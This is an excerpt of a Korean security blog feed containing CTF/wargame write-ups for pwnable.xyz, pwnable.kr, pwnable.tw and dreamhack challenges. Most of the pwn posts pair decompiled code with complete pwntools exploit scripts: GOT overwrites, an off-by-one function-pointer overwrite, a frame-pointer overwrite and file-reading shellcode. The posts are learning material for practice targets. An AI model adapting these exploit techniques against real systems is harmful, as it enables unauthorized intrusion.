r.sendlineafter(&quot;Age: &quot;, &quot;B&quot;*0x10+p64(printf_got))
r.sendlineafter(&quot;&amp;gt; &quot;, &quot;1&quot;)
r.sendlineafter(&quot;Name: &quot;, p64(win_add))
r.sendlineafter(&quot;Age: &quot;, &quot;20&quot;)
r.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;풀기는 했지만 뭔가 꺼림직하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점이 발생하는 원인도 잘 모르겠고, 왜 이렇게 메모리 공유? 가 일어나게 되는지 다른 롸업들 살펴보면서 공부해야겠다...&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;</description>
      <category>WarGame/Pwnable</category>
      <category>hacking</category>
      <category>m0nd2y</category>
      <category>pwanble.xyz sus</category>
      <category>pwnable</category>
      <category>pwnable.co.kr</category>
      <category>pwnable.xyz</category>
      <category>SUS</category>
      <author>m0nd2y</author>
      <guid isPermaLink="true">https://m0nday.tistory.com/650</guid>
      <comments>https://m0nday.tistory.com/650#entry650comment</comments>
      <pubDate>Thu, 30 Sep 2021 10:44:17 +0900</pubDate>
    </item>
    <item>
      <title>pwnable.xyz - TLSv00</title>
      <link>https://m0nday.tistory.com/649</link>
      <description>&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // [rsp+Ch] [rbp-4h]

  setup(argc, argv, envp);
  puts(&quot;Muahaha you thought I would never make a crypto chal?&quot;);
  generate_key(63);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        printf(&quot;&amp;gt; &quot;);
        v3 = read_int32();
        if ( v3 != 2 )
          break;
        load_flag();
      }
      if ( v3 &amp;gt; 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_12;
      printf(&quot;key len: &quot;);
      v4 = read_int32();
      generate_key(v4);
    }
    if ( v3 == 3 )
    {
      print_flag();
    }
    else if ( v3 != 4 )
    {
LABEL_12:
      puts(&quot;Invalid&quot;);
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;maibn 코드는 위와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에 63바이트짜리 key를 생성하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2를 누르면 flag를 읽어서 key값과 xor 시킨다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;int load_flag()
{
  unsigned int i; // [rsp+8h] [rbp-8h]
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open(&quot;/flag&quot;, 0);
  if ( fd == -1 )
  {
    puts(&quot;Can't open flag&quot;);
    exit(1);
  }
  read(fd, flag, 0x40uLL);
  for ( i = 0; i &amp;lt;= 0x3F; ++i )
    flag[i] ^= key[i];
  return close(fd);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만 key 값이 랜덤인지라&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;unsigned __int64 __fastcall generate_key(int a1)
{
  int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( a1 &amp;gt; 0 &amp;amp;&amp;amp; (unsigned int)a1 &amp;lt;= 0x40 )
  {
    memset(s, 0, sizeof(s));
    fd = open(&quot;/dev/urandom&quot;, 0);
    if ( fd == -1 )
    {
      puts(&quot;Can't open /dev/urandom&quot;);
      exit(1);
    }
    read(fd, s, a1);
    for ( i = 0; i &amp;lt; a1; ++i )
    {
      while ( !s[i] )
        read(fd, &amp;amp;s[i], 1uLL);
    }
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts(&quot;Invalid key size&quot;);
  }
  return __readfsqword(0x28u) ^ v5;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에서 flag를 읽었다고 해도 어떻게 복화해서 진행해야 할지는 미지수이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리를 출력할 수 있다면 key부분과 flag를 각각 출력해서 역연산 할 수도 있겠지만, 이는 조금 더 분석을 진행해 봐야 할 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 3번을 누르면&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;__int64 print_flag()
{
  __int64 result; // rax

  puts(&quot;WARNING: NOT IMPLEMENTED.&quot;);
  result = do_comment;
  if ( !do_comment )
  {
    printf(&quot;Wanna take a survey instead? &quot;);
    if ( getchar() == 0x79 )
      do_comment = f_do_comment;
    result = do_comment();
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;y를 추가로 입력할 시 f_do_comment가 동작하는데&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;unsigned __int64 f_do_comment()
{
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf(&quot;Enter comment: &quot;);
  read(0, buf, 33uLL);
  return __readfsqword(0x28u) ^ v2;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 또한 canary가 존재해서 어떻게든 사용되기는 하겠지만 그렇게 큰 영향을 미칠 수 있을까 하는 생각이다.&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;⚡ root@9a02e0bc40b9  /home/ctf  checksec challenge
[*] '/home/ctf/challenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게다가 Full RELRO이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;got overwrite도 불가능 하다.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;int real_print_flag()
{
  return printf(&quot;%s&quot;, flag);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;real_print_flag 란 함수가 존재해서 이를 이용하면 flag를 획득할 수 있을 것 같기도 하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로그램 자체가 어렵게 돌아가는 구조가 아니라서 구동 방법이나 분석은 어느정도 진행된 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 가지 발견한 점은, 프로그램을 실행한 후 1. regenerate key 를 1byte로 생성 한 후 flag를 load해도 프로그램이 죽지 않고 정상적으로 동작한다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;unsigned __int64 __fastcall generate_key(int a1)
{
  int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( a1 &amp;gt; 0 &amp;amp;&amp;amp; a1 &amp;lt;= 0x40 )
  {
    memset(s, 0, sizeof(s));
    fd = open(&quot;/dev/urandom&quot;, 0);
    if ( fd == -1 )
    {
      puts(&quot;Can't open /dev/urandom&quot;);
      exit(1);
    }
    read(fd, s, a1);
    for ( i = 0; i &amp;lt; a1; ++i )
    {
      while ( !s[i] )
        read(fd, &amp;amp;s[i], 1uLL);
    }
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts(&quot;Invalid key size&quot;);
  }
  return __readfsqword(0x28u) ^ v5;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;out of bound가 나야된다고 생각했지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 살펴보면 for문제서 i &amp;lt; a1 이라고 정의했기에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력한 길이만큼만 랜덤에서 뽑아오는 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금까지의 과정을 종합해보면 key를 재생성하면 flag를 print하기만 하면 되고, 따로 key값을 알기 위해 역연산을 진행하지 않아도 될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 어떻게 real_print_flag 함수를 호출 할 것인가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에 입력하는 변수 v4를 조작하는것은 read_int32() 함수를 호출하기에 불가능 할 것 이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 아직 활용하지 않은 부분은 print_flag 에서 f_do_comment 부분인데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조금 더 자세히 살펴보면&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;__int64 print_flag()
{
  __int64 result; // rax

  puts(&quot;WARNING: NOT IMPLEMENTED.&quot;);
  result = do_comment;
  if ( !do_comment )
  {
    printf(&quot;Wanna take a survey instead? &quot;);
    if ( getchar() == 0x79 )
      do_comment = f_do_comment;
    result = do_comment();
  }
  return result;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 print_flag()함수는 if ( !do_comment ) 조건 문에 의해서 1회만 실행 가능하다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;unsigned __int64 f_do_comment()
{
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf(&quot;Enter comment: &quot;);
  read(0, buf, 33uLL);
  return __readfsqword(0x28u) ^ v2;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 실행되게 되면 실제로 comment 입력 창은 뜨지만 입력은 받지 않고, do_comment = f_do_comment; 가 실행되여 do_comment에 f_do_comment 주소가 들어가게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;f_do_comment 함수를 유심히 살펴보던 도중&lt;/p&gt;
&lt;pre class=&quot;maxima&quot;&gt;&lt;code&gt;.text:0000000000000B00 real_print_flag proc near
.text:0000000000000B00 ; __unwind {
.text:0000000000000B00                 push    rbp
.text:0000000000000B01                 mov     rbp, rsp
.text:0000000000000B04                 lea     rsi, flag
.text:0000000000000B0B                 lea     rdi, format     ; &quot;%s&quot;
.text:0000000000000B12                 mov     eax, 0
.text:0000000000000B17                 call    printf
.text:0000000000000B1C                 nop
.text:0000000000000B1D                 pop     rbp
.text:0000000000000B1E                 retn
.text:0000000000000B1E ; } // starts at B00
.text:0000000000000B1E real_print_flag endp
.text:0000000000000B1E
.text:0000000000000B1F
.text:0000000000000B1F ; =============== S U B R O U T I N E =======================================
.text:0000000000000B1F
.text:0000000000000B1F ; Attributes: bp-based frame
.text:0000000000000B1F
.text:0000000000000B1F                 public f_do_comment
.text:0000000000000B1F f_do_comment    proc near               ; DATA XREF: print_flag+39&amp;darr;o
.text:0000000000000B1F
.text:0000000000000B1F var_34          = dword ptr -34h
.text:0000000000000B1F buf             = byte ptr -30h
.text:0000000000000B1F var_8           = qword ptr -8
.text:0000000000000B1F
.text:0000000000000B1F ; __unwind {
.text:0000000000000B1F                 push    rbp
.text:0000000000000B20                 mov     rbp, rsp
.text:0000000000000B23                 sub     rsp, 40h
.text:0000000000000B27                 mov     rax, fs:28h
.text:0000000000000B30                 mov     [rbp+var_8], rax
.text:0000000000000B34                 xor     eax, eax
.text:0000000000000B36                 lea     rdi, aEnterComment ; &quot;Enter comment: &quot;
.text:0000000000000B3D                 mov     eax, 0
.text:0000000000000B42                 call    printf
.text:0000000000000B47                 mov     [rbp+var_34], 21h ; '!'
.text:0000000000000B4E                 mov     eax, [rbp+var_34]
.text:0000000000000B51                 movsxd  rdx, eax        ; nbytes
.text:0000000000000B54                 lea     rax, [rbp+buf]
.text:0000000000000B58                 mov     rsi, rax        ; buf
.text:0000000000000B5B                 mov     edi, 0          ; fd
.text:0000000000000B60                 call    read
.text:0000000000000B65                 nop
.text:0000000000000B66                 mov     rax, [rbp+var_8]
.text:0000000000000B6A                 xor     rax, fs:28h
.text:0000000000000B73                 jz      short locret_B7A
.text:0000000000000B75                 call    __stack_chk_fail
.text:0000000000000B7A ; ---------------------------------------------------------------------------&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;real_print_flag 함수의 위치가 너무 예쁘게 뒷자리가 00으로 떨어지는 것을 발견했고, 00을 제외한 나머지 값이 f_do_comment와 일치하는것을 발견했다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;.bss:0000000000202040 key             db 40h dup(?)           ; DATA XREF: generate_key+E4&amp;uarr;o
.bss:0000000000202040                                         ; load_flag+73&amp;uarr;o
.bss:0000000000202080                 public do_comment
.bss:0000000000202080 ; __int64 (*do_comment)(void)
.bss:0000000000202080 do_comment      dq ?                    ; DATA XREF: print_flag+10&amp;uarr;o&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;key는 최대 0x40개 까지 생성이 가능하지만,.&lt;/p&gt;
&lt;pre class=&quot;lisp&quot;&gt;&lt;code&gt;strcpy(key, s);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;끝에 off by one이 일어나기에 f_do_comment값을 real_print_flag로 변조가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 후에 정상적으로 real_print_flag를 호출할 수 있는 상황이 되었기에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;key를 어떻게 복호화 해야 할 것인가가 관건인데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 또한 strcpy를 활용해서 모든수 xor 0x0 은 원래 수이기에 한바이트씩 flag를 획득할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pay를 작성해보면 아래와 같다.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;from pwn import *

r = remote(&quot;svc.pwnable.xyz&quot;, 30006)
#context.log_level = &quot;debug&quot;
flag = &quot;F&quot;

def generate_key(size) :
    r.sendlineafter(&quot;&amp;gt; &quot;, &quot;1&quot;)
    r.sendlineafter(&quot;len: &quot;, str(size))

def load_flag() :
    r.sendlineafter(&quot;&amp;gt; &quot;, &quot;2&quot;)

def print_flag(chr) :
    r.sendlineafter(&quot;&amp;gt; &quot;, &quot;3&quot;)
    r.sendlineafter(&quot;? &quot;, chr)

print_flag(&quot;y&quot;)
generate_key(64)
load_flag()

for i in range(1, 0x3f) :
    generate_key(str(i))
    load_flag()
    print_flag(&quot;A&quot;)
    flag += r.recv(0x40)[i]
    print(flag)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG라고 생각되는 값을 따냈는데 인증이 안된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널을 여러개 돌려보니 값이 다 다르다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러개를 조합해본 결과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 FLAG였다.. 컴퓨터는 거짓말을 하지 않는다고 맨날 하는데 왜 이런 결과가 나오는진 항상 이상하다..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예전에 redvelvet인가 그 문제도 뭔가 flag값에서 오류가 있었던걸로 기억나는데 이러한 약간의 오류? 계산 문제들은 왜 발생할까..?&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;암튼 재미있는 문제였다  &lt;/p&gt;</description>
      <category>WarGame/Pwnable</category>
      <category>hacking</category>
      <category>m0nd2y</category>
      <category>off by one</category>
      <category>pwnable</category>
      <category>pwnable.co.kr</category>
      <category>pwnable.xyz</category>
      <category>pwnable.xyz TLSv00</category>
      <category>TLSv00</category>
      <author>m0nd2y</author>
      <guid isPermaLink="true">https://m0nday.tistory.com/649</guid>
      <comments>https://m0nday.tistory.com/649#entry649comment</comments>
      <pubDate>Wed, 29 Sep 2021 16:52:56 +0900</pubDate>
    </item>
    <item>
      <title>pwnable.kr - simple login</title>
      <link>https://m0nday.tistory.com/677</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;main문은 아래와 같다.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-3Ch]
  int v5; // [esp+18h] [ebp-28h] BYREF
  char input[30]; // [esp+1Eh] [ebp-22h] BYREF
  unsigned int base64_decoded; // [esp+3Ch] [ebp-4h]

  memset(input, 0, sizeof(input));
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf(&quot;Authenticate : &quot;, v4);
  _isoc99_scanf(&quot;%30s&quot;, input);
  memset(decoded_string, 0, 0xCu);
  v5 = 0;
  base64_decoded = Base64Decode(input, &amp;amp;v5);
  if ( base64_decoded &amp;gt; 0xC )
  {
    puts(&quot;Wrong Length&quot;);
  }
  else
  {
    memcpy(decoded_string, v5, base64_decoded);
    if ( auth(base64_decoded) == 1 )
      correct();
  }
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석해보면 12byte를 base64로 넣게 되면, 해당 값을 auth 내에서 비교하는 것 같지만,&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;_BOOL4 __cdecl auth(int length)
{
  char v2[8]; // [esp+14h] [ebp-14h] BYREF
  char *s2; // [esp+1Ch] [ebp-Ch]
  char v4[8]; // [esp+20h] [ebp-8h] BYREF

  memcpy(v4, decoded_string, length);
  s2 = calc_md5(v2, 12);
  printf(&quot;hash : %s\n&quot;, s2);
  return strcmp(&quot;f87cd601aa7fedca99018a8be88eda34&quot;, s2) == 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디코드 해본결과 해당값을 찾을 수 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 해당 함수에서 memcpy에서 v4(8byte)보다 더 많이 넣을 수 있었고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(12byte)까지 가능, sfp를 조작해서 흐름제어가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;payload는 아래와 같다.&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;from pwn import *
import base64

r = remote('pwnable.kr', 9003)

shell = 0x08049284
decode_string = 0x0811EB40
pay = &quot;&quot;
pay += &quot;\x90\x90\x90\x90&quot;
pay += p32(shell)
pay += p32(decode_string)

r.sendline(base64.encodestring(pay))
r.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>WarGame/pwnable.kr</category>
      <category>hacking</category>
      <category>m0nd2y</category>
      <category>pwnable</category>
      <category>pwnable.co.kr</category>
      <category>Pwnable.kr</category>
      <category>simple login</category>
      <author>m0nd2y</author>
      <guid isPermaLink="true">https://m0nday.tistory.com/677</guid>
      <comments>https://m0nday.tistory.com/677#entry677comment</comments>
      <pubDate>Thu, 23 Sep 2021 00:41:01 +0900</pubDate>
    </item>
    <item>
      <title>pwnable.xyz - note</title>
      <link>https://m0nday.tistory.com/643</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;main&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup(argc, argv, envp);
  puts(&quot;Note taking 101.&quot;);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        v3 = read_int32();
        if ( v3 != 1 )
          break;
        edit_note();
      }
      if ( v3 != 2 )
        break;
      edit_desc();
    }
    if ( !v3 )
      break;
    puts(&quot;Invalid&quot;);
  }
  return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;edit note&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;void edit_note()
{
  int v0; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  printf(&quot;Note len? &quot;);
  v0 = read_int32();
  buf = malloc(v0);
  printf(&quot;note: &quot;);
  read(0, buf, v0);
  strncpy(s, buf, v0);
  free(buf);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;edit_desc&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(32uLL);
  printf(&quot;desc: &quot;);
  return read(0, buf, 32uLL);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exploit 과정은 아래와 같다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;s 변수의 overflow 를 이용해서 buf 를 read_got으로 덮음&lt;/li&gt;
&lt;li&gt;edit_desc를 이용해서 read_got 을 win 함수로 덮음&lt;/li&gt;
&lt;li&gt;read 를 재 호출해서 exploit함&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;from pwn import * 

#r = process(&quot;./challenge&quot;)
r = remote(&quot;svc.pwnable.xyz&quot;, 30016)
e = ELF(&quot;./challenge&quot;)
l = e.libc
context.log_level = &quot;debug&quot;

win_add = e.sym['win']
read_got = e.got['read']

pay = &quot;&quot;
pay += &quot;A&quot;*0x20
pay += p64(read_got)

r.sendafter(&quot;&amp;gt; &quot;, &quot;1&quot;)
r.sendafter(&quot;Note len? &quot;, str(len(pay)))
r.sendafter(&quot;note: &quot;, pay)
r.sendafter(&quot;&amp;gt; &quot;, &quot;2&quot;)
r.sendafter(&quot;desc: &quot;, p64(win_add))
r.sendafter(&quot;&amp;gt; &quot;, &quot;1&quot;)
print(r.recv())&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;</description>
      <category>WarGame/Pwnable</category>
      <category>BOF</category>
      <category>hacking</category>
      <category>m0nd2y</category>
      <category>Overflow</category>
      <category>PWN</category>
      <category>pwnable.co.kr</category>
      <category>pwnable.xyz</category>
      <author>m0nd2y</author>
      <guid isPermaLink="true">https://m0nday.tistory.com/643</guid>
      <comments>https://m0nday.tistory.com/643#entry643comment</comments>
      <pubDate>Sat, 11 Sep 2021 10:52:15 +0900</pubDate>
    </item>
    <item>
      <title>pwnable.tw - orw</title>
      <link>https://m0nday.tistory.com/682</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;쉘코딩 하면 덴다.&lt;/p&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;from pwn import *

r = remote(&quot;chall.pwnable.tw&quot;, 10001)
e = ELF(&quot;orw&quot;)

context.log_level = &quot;debug&quot;
context(arch='i386', os='linux')

pay = &quot;&quot;
pay += asm(shellcraft.open('/home/orw/flag'))
pay += asm(shellcraft.read('eax', e.bss()+0x100, 100))
pay += asm(shellcraft.write(1, e.bss()+0x100, 100))
r.recv()

r.sendline(pay)

r.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>WarGame/Pwnable</category>
      <category>hacking</category>
      <category>m0nd2y</category>
      <category>orw</category>
      <category>pwnable</category>
      <category>pwnable.co.kr</category>
      <category>pwnable.tw</category>
      <category>pwnable.tw - orw</category>
      <author>m0nd2y</author>
      <guid isPermaLink="true">https://m0nday.tistory.com/682</guid>
      <comments>https://m0nday.tistory.com/682#entry682comment</comments>
      <pubDate>Tue, 31 Aug 2021 17:44:15 +0900</pubDate>
    </item>
    <item>
      <title>dreamhack.io - file-csp-1</title>
      <link>https://m0nday.tistory.com/669</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;제공된 &lt;a href=&quot;http://app.py&quot;&gt;app.py&lt;/a&gt;의 코드는 아래와 같습니다.&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;#!/usr/bin/env python3
import os
import shutil
from time import sleep
from urllib.parse import quote

from flask import Flask, request, render_template, redirect, make_response
from selenium import webdriver

#from flag import FLAG

APP = Flask(__name__)

@APP.route('/')
def index():
    return render_template('index.html')

@APP.route('/test', methods=['GET', 'POST'])
def test_csp():
    global CSP
    if request.method == 'POST':
        csp = request.form.get('csp')
        # start bot..
        try:
            options = webdriver.ChromeOptions()
            for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
                options.add_argument(_)
            driver = webdriver.Chrome('/chromedriver', options=options)
            driver.implicitly_wait(3)
            driver.set_page_load_timeout(3)
            driver.get(f'http://localhost:8000/live?csp={quote(csp)}')
            try:
                a = driver.execute_script('return a()');
            except:
                a = 'error'
            try:
                b = driver.execute_script('return b()');
            except:
                b = 'error'
            try:
                c = driver.execute_script('return c()');
            except Exception as e:
                c = 'error'
                c = e
            try:
                d = driver.execute_script('return $(document)');
            except:
                d = 'error'

            if a == 'error' and b == 'error' and c == 'c' and d != 'error':
                return FLAG

            return f'Try again!, {a}, {b}, {c}, {d}'
        except Exception as e:
            return f'An error occured!, {e}'

    return render_template('check.html')

@APP.route('/live', methods=['GET'])
def live_csp():
    csp = request.args.get('csp', '')
    resp = make_response(render_template('csp.html'))
    resp.headers.set('Content-Security-Policy', csp)
    return resp

if __name__ == '__main__':
    APP.run(host='0.0.0.0', port=8000, debug=True, threaded=True)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같은 경우에 FLAG를 획득할 수 있으니&lt;/p&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;if a == 'error' and b == 'error' and c == 'c' and d != 'error':
     return FLAG&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;a와b를 벤해주고, c와d를 허용해주면 될 것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test페이지에 hint로 표시되어있던&lt;/p&gt;
&lt;pre class=&quot;csp&quot;&gt;&lt;code&gt;script-src 'unsafe-inline'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구문을 넣게 되면&lt;/p&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;a: block me!
b: block me!
c: allow me!&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 text를 얻을 수 있고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;console에 에러가 난 부분을 따라가 보면&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;
&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
    &amp;lt;!-- block me --&amp;gt;
    &amp;lt;script&amp;gt;
        function a() { return 'a'; }
        document.write('a: block me!&amp;lt;br&amp;gt;');
    &amp;lt;/script&amp;gt;
    &amp;lt;!-- block me --&amp;gt;
     &amp;lt;script nonce=&quot;i_am_super_random&quot;&amp;gt;
        function b() { return 'b'; }
        document.write('b: block me!&amp;lt;br&amp;gt;');
    &amp;lt;/script&amp;gt;
    &amp;lt;!-- allow me --&amp;gt;
    &amp;lt;script
  src=&quot;https://code.jquery.com/jquery-3.4.1.slim.min.js&quot;
  integrity=&quot;sha256-pasqAKBDmFT4eHoN2ndd6lN370kFiGUFyTiUHWhU7k8=&quot;
  crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;!-- allow me --&amp;gt;
     &amp;lt;script nonce=&quot;i_am_super_random&quot;&amp;gt;
        function c() { return 'c'; }
        document.write('c: allow me!&amp;lt;br&amp;gt;');
        try { $(document); document.write('jquery: allow me!&amp;lt;br&amp;gt;'); } catch (e) {  }
    &amp;lt;/script&amp;gt;
    &amp;lt;/head&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같은 코드를 볼 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;csp.html에 있는 코드인데, d는&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;https://code.jquery.com/jquery-3.4.1.slim.min.js&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;을 허용해주면 될 것 같고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;c는 c자체를 허용해 줘야할 것 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;존재하는 값들의 dafult값을 찾기 위해&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
